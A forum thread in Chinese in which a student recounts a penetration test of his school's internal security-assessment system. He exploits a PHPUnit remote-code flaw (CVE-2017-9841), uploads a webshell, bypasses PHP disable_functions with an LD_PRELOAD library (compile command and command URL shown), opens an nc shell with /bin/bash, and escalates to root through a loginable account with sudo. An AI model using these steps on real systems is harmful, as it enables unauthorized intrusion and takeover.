# 记一次搞笑的渗透测试 **URL:** \ **Category:** 技术文章\ **Created:** [2020 年5 月 26 日 11:51 UTC](https://forum.90sec.com/t/topic/1066 "2020-05-26T11:51:45Z")\ **Posts on this page:** 4\ **Page:** 1
作者： ![cdz](https://forum.90sec.com/user_avatar/forum.90sec.com/cdz/32/80_2.png) [@cdz](https://forum.90sec.com/u/cdz)\ 发布日期： [2020 年5 月 26 日 11:51 UTC](https://forum.90sec.com/t/topic/1066/1 "2020-05-26T11:51:45Z")
### 前言 昨晚,学校网络又准时断网了,闲来无事就看了看学校的内网 然后看到个"网络信息安全能力的测评系统" ![1](https://forum.90sec.com/uploads/default/original/2X/a/ac41ee6f3cc2c63bce3edcab4c89f191f32173fb.jpeg) 然后就职业病犯了,随手查了查有无漏洞 然后发现是使用了 laravel框架, phpunit测试框架 最后发现是phpunit这里有个rce,为了保证安全,就问问老师是否可以深入 ![2](https://forum.90sec.com/uploads/default/original/2X/6/60772e8d834757ac693015ae94bae7e227e0a0ff.png) ### webshell获取 因为在和老师说之前,就发现了个phpunit框架的一个rce,cve-2017-9841 直接post个phpinfo过去试试水 ![3](https://forum.90sec.com/uploads/default/original/2X/0/01b3c075c0c53a716a6408bc94fb4028e9fe1671.png) 然后就正常的走流程,上马 ```php '); ``` ![4](https://forum.90sec.com/uploads/default/original/2X/a/a6ec27b1b5889823fa5c21d9c537d0344f6efecd.png) 按照流程走,接下来就是提权了,但是发现无法执行命令 ![5](https://forum.90sec.com/uploads/default/original/2X/c/c04cede45593ccd0c18fccb159186f4bdb04cd56.png) 然后发现 **disable\_functions** 限制了很多函数 ![6](https://forum.90sec.com/uploads/default/original/2X/4/44696c14383d37efabbfa6a3da7a8ea10aed6eab.png) 但是现在不要慌,之前在90sec就看到过一个表哥写的一篇文章:[一次艰难的渗透提权过程](https://forum.90sec.com/t/topic/391) 这篇文章里表哥提供了个思路:[https://github.com/yangyangwithgnu/bypass\_disablefunc\_via\_LD\_PRELOAD](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) ,反正跟着走准没错. 主要的技术点就是 **利用环境变量 LD\_PRELOAD 劫持系统函数， 让外部程序加载恶意 .so，达到执行系统命令的效果。** 以下是上文中提到的附件 php文件是需要上传到目标的执行命令的脚本,.c文件是未编译的文件 .so是编译后的 bypass\_disablefunc\_x64.so `gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so` bypass\_disablefunc\_x86.so 若目标为 x86 架构，需要加上 -m32 选项重新编译 我这里的是64的环境所以将bypass\_disablefunc.php、bypass\_disablefunc\_x64.so上传 使用方法 ``` http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so ``` 这里就成功绕过了 **disable\_functions** 限制 ![7](https://forum.90sec.com/uploads/default/original/2X/b/b49ab83f951ee328b34b62069b35268ad17e99e7.png) ### 搞笑提权(失败) 拿到shell后,因为这里是通过绕过在web来执行命令,不太好操作就用nc来反弹个shell ``` 目标机器:nc -lvp 2222 -e /bin/bash 攻击机器:nc ip(目标机器) 2222 ``` 直接尝试一波su root,当然是不行的,要是直接可以就没有这文章了 查看下版本,3.10.0-327,还是在脏牛的范围 ![8](https://forum.90sec.com/uploads/default/original/2X/2/287ac65a8e9715b6bb6f45aac1999bfd34da1dc0.png) 直接脏牛走一波,一顿编译,一段操作 ![9](https://forum.90sec.com/uploads/default/original/2X/b/b86ee4ae223061829306b4805daa05e0f9f2cd55.png) 但是意外出现了,虽然这看起来好像不太对 下面是我的状况 ![10](https://forum.90sec.com/uploads/default/original/2X/7/756537dbb6667105c65e7ff33c7dda96be65b641.png) 这里是exp作者给的状况 ![11](https://forum.90sec.com/uploads/default/original/2X/f/fff5cba445c9267431ab52d7e6b0539d22fef6ae.png) 满脸问号 ,我好像是直接退出来了,并且shell还给我整断了 查看下passwd文件,发现最后一次修改是18年,也就是说脏牛并没有替换成功 ![12](https://forum.90sec.com/uploads/default/original/2X/4/471d197626272f754b97fdeb8c632d84ce7c2148.png) 这时候就不行了,我就开始呼唤表哥来帮助我 ![13](https://forum.90sec.com/uploads/default/original/2X/7/7e8738b2e96a742dfdd1a3d3c1ab309aa01f1ed9.png) 然后表哥也是一顿操作,exp也是换了好几个 一顿长达半小时的操作力,还是提不下来 最终 ![14](https://forum.90sec.com/uploads/default/original/2X/e/ecd71d2b85d0a4508eba0cd2aaf4f66abbe9f311.png) 这结束了?? 不会吧不会吧 ### 正确的提权 经过了这么多的操作后还是没有提下来,本来以为没有希望了,再次查看passwd的时候发现 有个名为n\*\*t的账号是可以登录的 ![15](https://forum.90sec.com/uploads/default/original/2X/6/64e8a7b952410154563fa7c5e91657faaca081cd.png) 就尝试一波su n\*\*t,没想到的是过去了,但是权限还是这样 ![16](https://forum.90sec.com/uploads/default/original/2X/0/0c73de6069015ad693a581c0b9f9d63be94feaa1.png) 这时候就产生了个可怕的想法,直接sudo su ![17](https://forum.90sec.com/uploads/default/original/2X/d/d0fbae0de3191e1938219f0e1210520639aa716e.png) what ???? 我以为这种情况只会在ctf的那种靶机里才会出现的.... 对不起,是我太菜了 ---
作者： ![baiyonghui3821](https://forum.90sec.com/user_avatar/forum.90sec.com/baiyonghui3821/32/4603_2.png) [@baiyonghui3821](https://forum.90sec.com/u/baiyonghui3821)\ 发布日期： [2020 年5 月 27 日 08:16 UTC](https://forum.90sec.com/t/topic/1066/2 "2020-05-27T08:16:03Z")
有意思~ 🤣 ---
作者： ![hackergov](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/6f9a4e/32.png) [@hackergov](https://forum.90sec.com/u/hackergov)\ 发布日期： [2020 年5 月 29 日 07:14 UTC](https://forum.90sec.com/t/topic/1066/3 "2020-05-29T07:14:20Z")
实不相瞒我就是你老师我看到了你的记录。 ---
作者： ![qingfeng](https://forum.90sec.com/letter_avatar_proxy/v4/letter/q/eb8c5e/32.png) [@qingfeng](https://forum.90sec.com/u/qingfeng)\ 发布日期： [2020 年9 月 21 日 02:51 UTC](https://forum.90sec.com/t/topic/1066/4 "2020-09-21T02:51:32Z")
sudo passwd root